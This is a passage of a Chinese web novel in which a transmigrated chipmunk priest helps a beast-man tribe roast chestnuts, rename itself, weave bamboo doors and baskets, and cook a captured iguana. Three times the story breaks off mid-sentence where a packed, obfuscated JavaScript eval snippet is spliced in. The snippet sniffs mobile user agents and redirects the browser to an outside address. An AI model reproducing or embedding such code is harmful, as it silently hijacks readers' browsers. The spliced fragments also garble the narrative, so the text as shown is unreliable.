木棍探入火堆中一顿扒拉,不一会儿,十多个成人拳头大,形同煤球圆疙瘩滚到一旁空地。 一股被火烤糊的焦味弥漫在空气中,木棍轻轻一拍,黑色“煤球”还往下掉渣。花时安用木棍拨了一个到自己身前,刚准备上手又被灼热的高温劝退。 从刨出“煤球”开始,吃完饭的兽人全都将目光聚集在那焦煳焦煳的“煤球”上,屏住呼吸耐心等待,时不时还咽下口水。 见花时安伸出又缩回的手,坐在旁边的勇实在忍不住了,主动伸手将“煤球”抓到自己面前,“我来弄。” “我也来。” 其他兽人也纷纷上手。 无情铁手剥开被火焰烤焦的“煤球”,黄绿相间的树叶显露在空气中。再撕开层层叠叠,被高温烫蔫儿巴的树叶,颗颗饱满,粒粒分明的开口板栗映入眼帘。 焦煳味淡去,浓郁的甜香扑鼻而来。看着那反光的外壳,开口处露出来的金黄色果肉,兽人们惊呼出声,齐齐感叹: “好香,板栗烤熟了这么香吗?” “这也太香了,比融兽的味道还香!” “果肉颜色也变了,闻着甜丝丝的。” “可以吃了吗?我、我要忍不住了。” 吸气声此起彼伏,周围氧气都快被兽人给抽干了,花时安忍不住笑出声,点点头道:“可以吃了,小心烫。” “这包给你。”勇将一包烤好的板栗放在花时安面前。 没有拒绝他的好意,花时安道了声谢,从树叶包里捻了一颗滚烫的板栗,麻利地剥壳撕皮,呼呼吹了两下便丢进嘴巴里。 众人惊呼,木族长不以为意。 板栗天天吃,烤熟了味道估计也差不多,不会变到哪去。 剥掉外壳撕掉皮,冒着热气的板栗放入口中,牙齿一咬,粉粉糯糯的栗肉迅速在嘴巴里化开。木族长惊呆了,差点忘了咀嚼,满足而惊喜的笑容在眼底漾开。 口感细腻,香甜软糯……木族长瞪大眼睛,借着火光仔细查看板栗,激动得磕磕巴巴,话都说不清楚:“这、这真的是板栗?和之前吃得完全不一样啊!不脆了,糯糯的,还变甜了!” “真的好好吃,我从来没吃过这么好吃的果子!香迷糊了。”朗一颗接一颗地往里丢,百忙中鼓着腮帮子回了一句。 勇嘴里吃着一颗,手里拿着一颗,翻来覆去地看,“好神奇的果子。要不我们之后不找别的果子了,尽可能地多捡板栗果,这果子好吃又顶饱,多囤上一些过冬都不用愁了。” “那不成。”木族长摇摇头道:“板栗果得捡,其他果子也得找。安说如今正是果子多的时节,多找找,兴许还有比板栗果更好吃更管饱的食物!” 朗附和道:“是啊,现在囤过冬的食物也太早了,板栗果放那么久说不定都坏了。” 勇挑了下眉,扭头向花时安确认,“板栗果不容易坏吧?” “没那么容易坏,”花时安咽下食物回答道:“吃不完的板栗放在太阳底下晒干,然后放在通风阴凉处保存,放到来年都不会坏,只是味道会比新鲜板栗差一点,适合煮着吃。” “煮?板栗还能煮着吃?” “又能生吃又能烤,还能煮着吃,板栗果真是好果子!” 其他火堆的板栗也烤熟了,浓郁的甜香弥漫在空气中,族人们吃着板栗聊着天,震耳欲聋的欢呼声回荡在夜色笼罩的空地。 日子也是慢慢好起来了,看到这一幕,木族长欣慰地笑了。脑海中忽然浮现出一个念头,他看向埋头吃板栗的兽人,清了清嗓子道:“新的森林,新的开始,你们说……咱们松鼠部落要不要取个新的名儿?” “新的名字?这主意不错呀。”朗一听来劲了,赶忙咽下食物道:“重新取什么名儿好?以前各个部落的名儿加在一块?” “红巨岩长花部落?这叫什么名儿,也太难听了,不成。”木族长摆摆手道。 兽人勇四下环顾一周,积极参与:“巨树森林到处都是巨树,我们也可以和森林一样,叫巨树部落。” “这行啊!巨树部落,听着跟我们巨鼠部落差不多!”来自巨鼠部落的风忙地点头,笑开了花。 朗立马跳出来反对:“不行,我们红松部落人最多,要叫也得叫红树部落!” “你这不胡扯嘛,巨树森林里哪有红树?” “吵什么吵。”木族长打断两人的争执,板着脸道:“你们两个不要在这给我分家,现在没有红松部落,也没有巨鼠部落,只有一个松鼠部落!” 语气稍微有点重,挨了训斥的朗和风低下了头。 “知道了族长。” 不忍见气氛太僵,勇将目光转向花时安,“祭司大人,你有什么更好的想法吗?” 一声祭司大人把花时安喊蒙了,过了两秒才反应过来是在叫自己。 刚才听兽人们探讨,他自个儿也在琢磨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409130|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部落取名一般是根据环境或兽形,那么这附近有草地有河流,清河部落就很不错,简单又好记。 但……清河部落和岩河部落重了一个字,以防兽人们又吵起来,这个名字还是算了。 叫什么好呢?花时安思索片刻,将手中栗子壳丢入火堆,抬头看向众人,“让我想的话,我觉得可以叫穰穰部落。” 木族长一头雾水,“穰穰?野菜还是野果?我怎么没听过?” 主动让取名的勇也没听懂,一脸茫然地看着花时安。 时和岁稔,穰穰满家,寓意四时和顺,粮食满仓。 这般给族人解释行不通,花时安笑了笑,换了种更通俗地方式道:“族长没说错,穰穰是一种野菜,一种象征着希望的野菜。” “据说它如果长在部落周围,那部落一切都会顺利。我们以后会有吃不完的食物,吃不完的盐,多到树洞都装不下。” 话音未落,周围“哇”声一片。 浑然忘了还在给部落取名字,木族长忙地追问:“这么神奇的野菜?那咱们部落周围长有穰穰吗?” 花时安遗憾摇头:“没有看到,所以我想着借它的名儿,沾点运气。” “好好好!”木族长一拍大腿,当即做出决定:“听祭司大人的,我们松鼠部落以后就叫穰穰部落。借它的名儿,借它的运,我们以后也会有吃不完的食物!” “穰穰部落穰穰部落,嘿嘿,好听。” “穰穰部落,食物多到吃不完!” 兽人们扯着嗓子高呼,一个比一个兴奋。 多好的机会啊……花时安心念一动,握拳抵唇轻咳两声,刻意拔高声音道:“新名新气象,部落有了新的名字,人似乎也应该有。我决定给自己换个名字,大家以后叫我花时安好了。” 吵闹的兽人渐渐安静下来,纷纷瞪大眼睛,似有不解地看着他。 “花时安,嘶。”木族长念了一遍,依旧没琢磨明白,揣着疑惑问花时安:“换个名儿我懂,但你这名儿为啥这么长?还有这名儿有啥意思?” 花时安耐心解释:“花是姓,时安是名,其实就多了一个字。名字的意思就是……咳,时时平安。” “那姓是什么?”山挠挠头追问。 得亏穿成了花栗鼠,花时安在心里说了声抱歉,一本正经地胡诌:“我是花栗鼠部落的亚兽人,兽形也是花栗鼠。虽然如今已经没有花栗鼠部落了,但那是我生长的部落,我要把它加在名字前面,永远记住它。” 听懂姓的含义,木族长大为震撼,许久都说不出话。 直到周围兽人又嚷嚷起来,纷纷提出换名儿,他这才回过神,猛地在腿上拍了下,“换!我也要换,以后我就叫红木!” 红、红木?花时安差点被口水呛到。 实属不忍族人改出奇奇怪怪的名字,他缓过劲儿赶忙提醒道:“你们可以像我一样,在原本的名字上加一个,然后再加上姓氏。实在不会也可以来找我,我帮你们取。” “我我我,祭司大人帮我!” “我也要加!” “我应该叫什么呀,祭司大人……” 今晚注定是个不眠夜。 12. 第 12 章 亲手掀起的改名浪潮一时半会过不去了,第二天一早,花时安顶着两个黑眼圈走出树洞,脸都还没来得及去洗,五个等待已久的亚兽人一拥而上,围着让他帮忙取名。 要像花一样漂亮的,要像岩石一般坚硬的,要像树干一样直挺的……每个人都有不同的要求,还只能在他们原本的名字上添一个字,花时安愁得都开始掉头发了。 送走改好名字的亚兽人,采集队已经在清点人数,准备出发了。盐还没煮够,花时安不用跟着去,但他也要快点洗漱吃饭,开始新一天的忙碌。 伸了个懒腰正准备往河边走,一声轻呼从身后传来,花时安转身一看,没了杂草灌木遮挡,远处匆匆朝他走来的兽人清晰可见。 又是来找他改名的,兽人略显局促的神情表明了来意。似乎又不好意思麻烦他,山走得很慢,欲言又止,半天没憋出一个字。 “叫住我又不说话,那我走了?” 花时安有心逗他,故意抬起腿,假装要走。 山肉眼可见地慌了,一口气冲到花时安身前,顾不上紧张,红着脸吞吞吐吐道:“祭、祭司大人,我、我也想麻烦你帮忙改个名儿。” 花时安微不可察地皱了下眉,眼中笑意淡了几分,“想怎么改?和族长他们一样姓红对吧?” 山的兽形虽是魔王松鼠,但他同样来自红松部落,花时安正琢磨给他改个红什么山时,山却猛地摇摇头道:“不,不姓红,我想、想跟着以前的部落姓。” “以前的部落?”花时安饶有兴致地问了一句。 山“嗯”了一声,与他解释道:“我们魔松鼠以前也有自己的部落,叫莫山部落,后来、后来族人越来越少了,我们才被分到红松部落的。” “为什么是莫山,不该是魔山吗?” “魔、魔与魔鬼撞名,是不祥的,老族长说要避开。” “哦哦,原来是这样。”花时安恍然大悟,紧跟着又说:“你想跟着以前的部落姓莫,倒也没问题,但你不怕木族长不高兴啊?他以前可是红松部落的族长。” 山耸了耸肩膀,咧嘴嘿嘿一笑,“也怕,可昨天你说了,想要的东西要自己争取。如今部落只剩我一只魔松鼠了,我想也牢牢记住部落。” 兽人说话一直有些结巴,唯独这句话,前所未有的坚定。 莫名的成就感涌上心头,花时安嘴角又扬起来了,欣慰地点点头,“不错不错。那你想改个什么样子的名儿?花草树木,还是天上的太阳星星?” 似乎早就想好了,山毫不迟疑道:“水,和水有关的名。” 花时安没问为什么,立马给了他一个字:“淮。” “淮,”山重复了一遍,茫然地眨眨眼,“淮是水的意思?” 花时安转头望向草地,望向潺潺流淌的小河,自顾自道:“遥远的东方有一条河,名叫淮河,一条很大很长,永远不会干涸的河流。同样淮和穰穰一样,还有另一重意思,寓意着坚韧勇敢。” “莫淮山,莫淮山……” 山小声嘀咕自己的新名字,不擅长隐藏的情绪全部浮在面上,笑得像个小孩,“谢谢你祭司大人,我、我喜欢这个名儿。” “喜欢就好。”花时安揉了揉饿扁的肚子,迈开步子往前走,“吃过东西了吗?我要去洗脸吃饭了。” “吃、吃过了,那我和简先把石锅搬过去。” “行,记得把石刀也带上。” “嗯嗯好,给你留的板栗在火堆旁边。” …… 简单地洗漱,在空地火堆旁拿到尚有余温的板栗,花时安拿着几根树枝边走边吃,穿过挂着露水的灌木丛,穿过幽静的竹林,来到堆着干柴的乱石滩。 原以为没耽搁多少时间,不料兽人们的速度超出想象。他匆匆赶到时,乱石滩浓烟滚滚,火已经生起来了,两口石锅也煮上了盐水。 效率未免太高了,感觉自己像个多余的。 好在要做的事情还多,花时安咽下最后一颗板栗,径直走到柴堆后方空地。 按照花时安的要求,两个兽人将毛竹劈成了不同大小。 老竹劈成三指宽的竹片,竹节多的劈成拇指粗的竹条,最后挺拔端正,纹理直顺的“青年竹”去掉竹黄层,剩下薄薄一层的竹篾。 动手能力相当不错,用石刀划出竹篾已是难得,关键竹篾两边连毛刺都很少,光滑平整,薄而轻盈。 压力给到花时安了,经常在纪录片里看别人制作竹具,学了一堆理论知识,但动手制作……没动过,纯纯理论大师。面对这一堆材料,他一时都不知道该从哪入手。 竹子全部劈完了,火塘中火焰正旺,无需添柴,闲下来的莫淮山、红映兰与红简不约而同地凑上前,等着花时安的下一步动作。 不管了,花时安抓了一把竹片,决定从最简单的竹门开始。 什么锅配什么盖儿,如今房子都还是昏暗简陋的树洞,花时安必不可能费劲儿弄个精编竹门出来。所以他打算用编篱笆的方法,做一扇能挡住雨水,不那么透风的竹门。 有竹片有竹篾,篾条一分为二充当绳索,将竹片并排连接起来就行。唯一的难点在于,树洞洞口为弧形,想要恰到好处的美观,竹门也得做成弧形。 攥了一路的树枝派上了用场,那是花时安刚才在部落量的,自家洞口的尺寸。接下来只需将竹片砍到与树枝一样的长度,边缘再修成弧形,一准错不了。 洞口本就不大,用不了多少竹子,有两个兽人帮忙,很快,一堆顶部为弧形,有长有短的竹片放在了面前。 竹片很厚,摸着和薄木板差不多,一层应该就够了。 花时安拿着竹片往旁边挪了一点,找了一块略显平整的空地,以短长短的方式将竹片排列开,紧接着拿来一分为二的竹篾,麻利地编织起来。 工具不齐全,制作竹门并没有想象中轻松。花时安先后尝试了几种固定方法,要么竹片与竹片之间的空隙太大,要么不牢固,竹片滑动导致错位。 试到最后,他选择了最朴实无华的交叉固定法,拧一圈竹篾塞一片竹片,中间只有一点点空隙。 坏处就是不牢固,因此第一遍将竹片连接起来后,花时安像缝衣服一样,拿着竹篾从头缝到尾,将随时可能散架的竹帘缝成一扇牢固的竹门。 脚都快蹲麻了,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409131|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是弄好了。 花时安拍拍手站起身,后退几步拉开距离,重新看向竹门。 近看不怎么样,远看还行,青色竹片严丝合缝地固定在一起,中间只有极为微弱的空隙。固定竹片的竹篾似乎也变成了点缀,为略有些单调的竹门雕上一道道花纹。 最简单的竹门都折腾了这么久,花时安不免有些挫败,但兽人们很会提供情绪价值,他刚把竹门扶起来,添柴回来的红映兰直接惊呼出声: “哇,我就去添了个柴,这就做好了?” 红映兰匆匆上前,从花时安手中接过竹门,瞪大眼睛翻来覆去地看,“你好厉害啊安,不对,时安,这么复杂的东西,你只是听外乡人说就做出来了。” 一块回来的莫淮山也凑了上来,看着竹门不遗余力地夸赞:“好看又结实的样子!我也要做一扇放在洞口,这样冬天就不会有冷风吹进树洞了,暖和。” “不光暖和,祭司大人刚刚说了,还有那个叫什么……对安全感!装上竹门别人就不会一眼看到树洞里面了,想怎么睡觉怎么睡觉,安全感满满!”红映兰发自内心地喜欢门,她越说越兴奋,脸颊因激动而染上了绯色。 “可是看着很轻,真的不会被风吹倒?”红简提出质疑。 这话倒是提醒了花时安,他从地上捡了一根手臂长竹篾,俯身蹲在竹门跟前。 竹篾塞进竹片缝隙反复缠绕几圈,最后打上一个活结,一个用于固定的简易竹扣就做好了。 跟小孩子过家家一样,所有东西都这般简陋。 花时安无声叹了口气,转头看向三人,“好了。回头在树洞边上凿个洞,把竹扣穿在里面,开门关门就方便了,也不会轻易被风吹倒。不过竹门就这么大,特别大的风还是没办法。” 红简仍有不解,紧跟着又问:“你说门装在洞口是为了安全感和遮风挡雨,那为什么不用树木做门呢?树木比竹子更结实,更牢固,大一点的风雨应该也不怕。” “因为……”花时安两手一摊,“麻烦。” “现在我们没有时间,工具也只有石刀、石斧,做一扇木门太费劲了。当然你说得没错,木门确实比竹门牢固,但那要等以后吃喝不愁,工具齐全,有空闲再折腾。” 红简若有所思地点点头,“原来是这样。” “竹门已经很好啦,我喜欢这个竹门,至少冬天不用挨冻了!”红映兰爱不释手地轻抚竹门,恨不得立刻将它搬回树洞。 花时安笑了笑,“明天自己试着做一做。” 不是花时安小气,不舍得送给她,主要纯手工开凿的树洞大小不一,给她也不一定用得上。当然,花时安也可以再给她做一扇,但部落那么多人,要是每人一扇门,他得活活累死。 自己动手丰衣足食。 先教三个徒弟,再让徒弟教徒弟,嗯,计划相当完美。 顾不上歇息,花时安拿起一根竹条,看着三人郑重其事道:“最简单的竹门都学会了吧?接下来用竹条编背篓,竹篾编簸箕,你们要仔细看,不懂的地方要及时问。” “啊?竹门还是最简单的啊?” “我会认真看的!” 13. 第 13 章 “胡子?这是胡子做的东西?” “不是胡子,是竹子。” “噢,还真是胡子做的。” “不是胡子呀青阿爷,竹子,长在森林里的竹子!” 亮着火光的空地只有寥寥几人,却丝毫不觉得冷清。老人、妇人与小孩围着火堆而坐,看着面前从未见过的精致竹具,如火如荼地议论着。 并非第一次接触这类容器,部落以前也会用藤蔓制作藤篓,但相比又小又简陋,一不留神就散架的藤篓,结实牢固又精致的背篓简直是巧夺天工。 族人借着火光翻来覆去地看,问题一个比一个多。 背篓、簸箕分别是干什么用的,用什么做的,到底又是怎么做的……红映兰一刻不停歇地给族人解释,说得口干舌燥。 刚应付完耳背的老人,坐在身旁的妇人拍了拍红映兰的胳膊,指着那硕大无比,能装下一整个人的背篓,一脸兴奋道:“妮儿,你到底学会怎么编没有?” “回头得了空闲你要教我们呀,这、这背篓可是个好东西,采集队要是一人带一个出去,再也不用愁野菜果子怎么拿了!” “对啊!”另一个脸色苍白,伤势未愈的女孩附和道:“成天待在部落闲得很。虽然现在还干不了重活,但我也想为部落做点事,编这个背篓应该不难,不费力气吧?你教教我们成吗?” 不难?回想白天花时安拿着竹条一圈又一圈,红映兰冷不丁打了个寒战。不过两人的话正中下怀,红映兰笑笑道: “如果让兽人砍竹子,劈竹子,只负责编织的话确实不用费力气。但编这个还是很难的,需要耐心和时间,手还要巧。” 女孩眼睛顿时亮了起来,“我现在又不能出门,最多的就是时间和耐心了,我要学我要学!映兰姐姐你什么时候有空,什么时候教我们呀?” “伤也好得差不多了,算我一个。” “不能一直扯部落的后腿啊,我,我也要学!” 真的和祭司大人说的一样,重建部落的关键时刻,所有人都想为部落出一份力,哪怕伤口还没愈合的伤患,哪怕年迈老人。 喉咙莫名堵得慌,红映兰吸了吸鼻子,故作镇静地扯出一个笑,“大家别急,明天,明天我就教大家编竹具。” 距离不算远,花时安将火堆那边的情况听得一清二楚。他蹲在歪脖子树脚下用竹篾固定竹门,自始至终连头也没抬一下,唇边却漾着浅淡的笑意。 先带个小徒弟果然是明智的,不然哪能当上甩手掌柜。 天已经黑透了,采集队还没回来。难得有一点属于自己的空闲时间,花时安把竹门安装好又迅速返回树洞,用石刀清理腐木,将洞壁、洞顶打磨光滑。 残渣木屑扫出树洞,重新在地上铺好棕片,花时安关上门,转身回看树洞,心里稍微舒服了一点。 不过一点真就是一点,树洞低矮狭窄,站直都费劲,免不了有些压抑,而洞口开在树脚下,晒不到太阳又导致洞内有点潮湿。最后,睡在不能称之为床的床上,是真的硌得慌! 理想生活还远,花时安托腮坐在洞口,琢磨从哪里改造。 先用竹子做个矮脚单人床,长期睡在地上不妥,可能会得风湿。床垫可用棕片替代,多找些,多叠几层应该没那么硌。 说到棕片…… 花时安垂眸看了眼身上愈发潦草的草裙,重重叹了口气。 罢了,树洞先放一放,先把屁股遮严实再说。 “采集队回来了!他们、他们好像抓到了猎物!” 雀跃的高呼从树洞外传来,听到最后几个字,一动不动的花时安猛地抬起头,匆匆推门钻出树洞。 猎物二字仿佛一团烈火,火光闪烁的空地瞬间沸腾起来。老人伤患互相搀扶起身,妇人拎着蹦蹦跳跳的孩童,期待而紧张地望向声源。 太久没沾荤腥了,花时安也被勾起了馋虫,还没看到人他已经开始幻想了,是野鸡呢,还是野猪,还是野牛羊。 不远处,与夜色融为一体的灌木丛剧烈摇晃,紧接着走出四个高大的兽人。他们两两并排走,气息粗重,明显是抬着重物,每一步都异常沉重。 距离由远到近,花时安半眯着眼睛,终于看清了。 肥硕的猎物肚皮朝上,被四个兽人抬着走,不是猪,更不是牛羊,那是一只尾巴比身体还长,绿棕色,长着梳齿状鳞片的爬行动物——蜥蜴。 眉头不受控制地皱了起来,花时安只觉得眼前一黑。 但兽人并未察觉到他的抗拒,一个个沉浸在收获的喜悦中,红满面地朝他走来,而后将硕大无比又略显狰狞的蜥蜴卸在了花时安面前。 “祭司大人你看看这是什么兽?你认得吗?能吃吗?”气都没喘匀,红勇指着死透的蜥蜴,迫切地发出三连问。 蜥蜴体长超过四米,个头堪比一条成年咸水鳄,少说也有四五百斤。大而下垂的喉扇,长着环状条纹的尾巴,以及头顶上的“第三只眼”,虽体型过于庞大,但它的确是蜥蜴。 很好辨认,一只雄性绿鬣蜥。 但凡是只巨蜥他都会说不能吃,因为那玩意儿和秃鹫一样,食腐。可偏偏是绿鬣蜥,纯吃素的绿鬣蜥。 看着族人期待的目光,花时安眉头紧皱,极不情愿地点下了头,“它叫绿鬣蜥,能……能吃。” 对肉的渴望在这一瞬间达到了顶峰,本应随夜色沉寂的森林爆发出震耳欲聋的欢呼声。 “能吃!听到了吗,能吃,今天没有白忙活!” “哈哈哈哈哈,不枉我费那么大的劲!” “哇,太好了太好了,有肉吃了!” “好久没吃肉了,看到了没,我的嘴巴在流口水。” “采集队真厉害,抓到这么大一只兽。” “可是这兽长得好、好奇怪,能好吃吗?” “这是肉啊,肉!再难吃又能难吃到哪里去?” …… 跟第一次在巨树森林中找到食物,看到活下去的希望一样,每个人的脸上都洋溢着兴奋而满足的笑容。 很奇怪,绿鬣蜥忽然就变得不那么狰狞,花时安眉头缓缓舒展开,跟着族人一起笑了起来。 绿鬣蜥烹饪前还需处理,应该是懒得来回打水,兽人们一人一条腿,吭哧吭哧地将它抬去了小河边。 担心兽人处理不好,花时安也准备过去看看,但步子还没迈开,木族长叫住了他,“安,不是,祭司大人,你先回去,他们今天还摘了好些奇奇怪怪的果子,你得去帮忙认一认。” “那绿鬣蜥……” “让兽人弄就行。” 回想原身以前在部落吃的整兽“一锅炖”,花时安毫不迟疑,赶忙又交代了几句:“绿鬣蜥和晴空森林的动物不一样,有些部位是不能吃的。族长你一会儿过去给他们说一声,去头,去皮,去内脏,还有体内的油脂也要弄出来丢掉。” 木族长手微微一颤,面露难色,“这去完还剩个啥啊?” 花时安笑了笑,轻声宽慰:“该吃的吃,该丢的丢,别舍不得,吃坏了身体不值当。兽人厉害着呢,往后一定能抓到更多的野兽。” “哈哈哈,也对。”那一丁点不舍烟消云散,木族长咧着嘴笑,与花时安摆摆手道:“我先过去帮忙了,早点收拾好早点吃,也不知道那绿鬣蜥是个什么味儿。” 味道吗?以前在网上看人说蜥蜴是鸡肉味,花时安也好奇到底是不是真的。不过缺少调味料始终是个大问题,原汁原味的蜥蜴肉,一口下去腥到姥姥家也说不定。 火堆旁又热闹了起来,外出归来的亚兽人忙着整理收获。解开藤蔓抖散新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409132|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜马齿苋,拆开鼓鼓囊囊的树叶包裹,拿出去掉外壳,圆润饱满的板栗。 似乎正找他呢,个子不高,脸上有点婴儿肥的亚兽人捧着一包树叶东张西望。 隔空与花时安对上视线,他眼睛倏地亮了起来,老远就开始喊花时安:“祭司大人!我们今天找到了新果子,快来看看有没有能吃的。” 昨天找他取名字的岩知乐,花时安对他有印象,一个话很密,很可爱的亚兽人。花时安与他挥挥手算作回应,加快步伐走上前。 凑热闹的,手拿树叶包裹的,火堆旁边人挤人,而花时安一走上前,众人纷纷后退,给他让出一块十分宽敞的位置。 不完全是出于对祭司的尊重,毕竟…… 让“厨子”拿到食材才有饭吃。 没有和族人客气,花时安坐在了岩知乐身旁。 “祭司大人,”一脸兴奋的小亚兽立马将树叶包裹挪到他面前,边拆边与他说道:“你说有的食物会长在泥土里,今天我就多留意了一下。结果你猜怎么着,真让我给找到了!” 嚯,整得跟说相声似的。 花时安饶有兴致地问了一句:“怎么发现的?” 岩知乐脸上带了几分得意,越说越起劲:“那个草长在斜坡上,一大片一大片,到处都是。它长得也很奇怪,叶子像是被虫子啃了一样,坑坑洼洼的。我觉得它和别的草不一样,就试着拔了一株,结果草根下面真有你说那种果实。” 话落,树叶包裹完全打开了,花时安一低头,形似龙眼的圆形果实映入眼帘。果实呈暗褐色,拨开泥土再仔细一看,细小的绒毛若隐若现,比起龙眼,更像是缩小版猕猴桃。 这是……石黄皮? 花时安捻了一颗仔细查看,确是石黄皮无疑。 石黄皮又名肾蕨,含淀粉,生吃微甜,略有涩味,煮熟了则是粉粉面面的,味道次于土豆、板栗。但最主要的,它有很高的药用价值,有清热利肺、止咳化痰等功效。 如果没找到板栗,花时安看到石黄皮一定很高兴。可惜珠玉在前,作为食物来说,石黄皮不论大小还是味道,各个方面都不如板栗。 从欢天喜地到无比沮丧,小亚兽岩知乐像是听到了答案,眼底期待一点点散去,有气无力地耷拉着脑袋,轻轻叹了口气。 瞧他那失落的模样,花时安笑了声,伸手在他胳膊上拍了下,“干嘛呢,怎么就叹上气了,这可是个好东西。” “好东西?” 小脑袋嗖一下抬起,岩知乐肉眼可见地兴奋起来,顺势抓着花时安的手摇摇晃晃,“是可以吃意思吗?这果子叫什么呀祭司大人!” 花时安不再卖关子,将石黄皮的名字、味道及作用逐一说与众人。 听到自己找的植物还可以治病,岩知乐高兴坏了,激动得手舞足蹈,同时与身旁族人嘚瑟:“听到没,可以身体不舒服的时候吃,可以治病的!我今天绝对是第一。” 族人还未接话,花时安先问了一句:“什么第一?” “是这样的祭司大人,”另一个亚兽人解释道:“我们今天说好各找一种不认识的植物带回来,然后让祭司大人你来决定,谁找的植物最有用。” “还挺会玩,”花时安来了兴致,放下石黄皮朝其他人伸出手,“来吧,你们找的植物呢?让我来看一看。” 话落,四五个亚兽人一拥而上,纷纷递出自己的树叶包。 第一个,第二个,连开两个都是不知名杂草,花评委不免有些失望。就在他以为岩知乐即将毫无悬念地取得第一时,第三个树叶包打开了,一块淡黄色,表皮粗糙的“树根”露了出来。 一眼扫过,花时安拿着树叶的手微微一颤,果断第一名易主。无需细看,这浓郁的辛辣味,这熟悉形状,这是厨房必备调味品——姜! 14. 第 14 章 夜深了,火堆周围等着吃晚饭的族人似乎一点都不觉得困。一个个眼睛瞪如铜铃,要么盯着火堆上的石锅,要么盯着兽人手中树枝,比打了鸡血还兴奋。 确实很难不兴奋,花时安都困迷糊了,但闻着空气中浓郁的肉香,愣是强打起精神,撑开眼皮子。 石锅“咕嘟咕嘟”冒着泡,奶白色肉汤中,大块大块的肉与隐约可见的生姜、石黄皮、蘑菇干一同翻滚。 而兽人手中树枝,肥厚的腿肉烤至两面金黄,正“滋滋”往外冒油,油烟顺着风蔓延,整片空地都弥漫着香掉下巴的烤肉味。 喉咙不受控制地上下滚动,花时安的心态也发生了微妙的变化,从开始的抗拒,到后来的好像还行,再到什么时候熟,真的好饿。 也不能怪他不坚定,未处理的绿鬣蜥看着狰狞可怖,实属让人下不去嘴,谁承想扒皮剁成块,大蜥蜴与那纯良无害的兔子竟别无二致。 当然主要还是因为——香,真的太香了。 听了花时安的建议,蜥蜴肉炖之前焯过水,又放了亚兽人带回来的生姜、石黄皮和之前晒的蘑菇干。生姜去腥,蘑菇提鲜,这锅汤的味道绝对差不了。 时间一点点过去,族人灼热的视线都快把石锅盯穿了。终于,随着一声嘹亮的高呼,炙烤已久,炖煮软烂的蜥蜴肉可以开始享用了。 空地顿时乱成一锅粥,围坐在火堆四周的族人像是馋疯了一样,一窝蜂似的涌上前,伸长手臂递出属于自己的竹筒,毫无秩序可言。 肚子真饿了,花时安也准备拿着竹筒去挤一挤,然而没等他站起身,一只粗砺宽大的手忽然从他手中夺走竹筒。 他保持握竹筒的姿势顿了几秒,等他回过神时,竹筒又回到了自己手中,还多了满满一竹筒,冒着热气的肉。 速度快到连好心人是谁都没有看清,花时安后知后觉地伸长脖子朝前方望去,一眼便看到人群中高大的身影。 还挺热心,花时安笑了笑,注意力很快就被竹筒吸引。 煮熟后的蜥蜴肉更像兔子肉了,全是瘦肉,一点肥肉都见不着。大抵是生姜起了作用,花时安凑近闻了一下,没什么怪味,只有一点微弱的腥味。 不管了,强迫自己忽略这是蜥蜴肉,花时安夹起一块连着骨头的肉,狠下心来咬了一小口。 就是这一口,新世界大门缓缓打开了,花时安视死如归的神情转变为疑惑,再通过咀嚼渐渐化为欣喜。 肉质饱满细腻,入口滑嫩,炖了这么久却一点儿也不柴,蘑菇与肉香融合,格外的鲜美。不过吃着不像寻常兽肉,没有过多的脂肪和筋膜,更像是——田鸡。 不是一点点像,这口感这味道,几乎和田鸡一模一样。 原来网上说的鸡肉味是田鸡? 心底的抗拒尽数散去,花时安端着竹筒大快朵颐。 而炖肉还没吃完,族人们又分了外焦里嫩的烤肉,石锅中也重新煮上了马齿苋。一口肉一口菜一口汤,所有人都吃得格外满足。 吃完烤肉,竹筒里的炖肉捞干净,花时安已经有点撑了。 汤实在喝不下了,本想着剩点就剩点,但无意抬头看到那些意犹未尽,还要把竹筒涮一遍的族人,他默默端起竹筒,小口小口地喝。 “祭司大人。” 身后传来一声轻呼,花时安回过头,发现找石黄皮回来的小亚兽岩知乐从另一个火堆朝他走了过来。 他手里端着竹筒,树枝筷子上夹着一粒煮熟的石黄皮,似乎仍有不解,皱着眉头站在花时安身后,“我还是不明白啊祭司大人。我找的石黄皮分明就很好吃,为什么、为什么你会觉得长月月找的姜更好?” 成绩优异的小孩没有取得第一,不服气得很。 花时安莫名觉得好笑,耐心与他解释:“那会儿不是说了嘛,生姜和盐一样,是一种很重要的调味品。就像你刚刚吃那些肉,它本身可能很腥,但生姜能将腥味去除,从而让肉变得更香。” “可、可我也没吃出腥味和姜的味道,”岩知乐瘪着嘴小声嘟囔:“石黄皮又好吃又能治病,我感觉比姜更有用。” 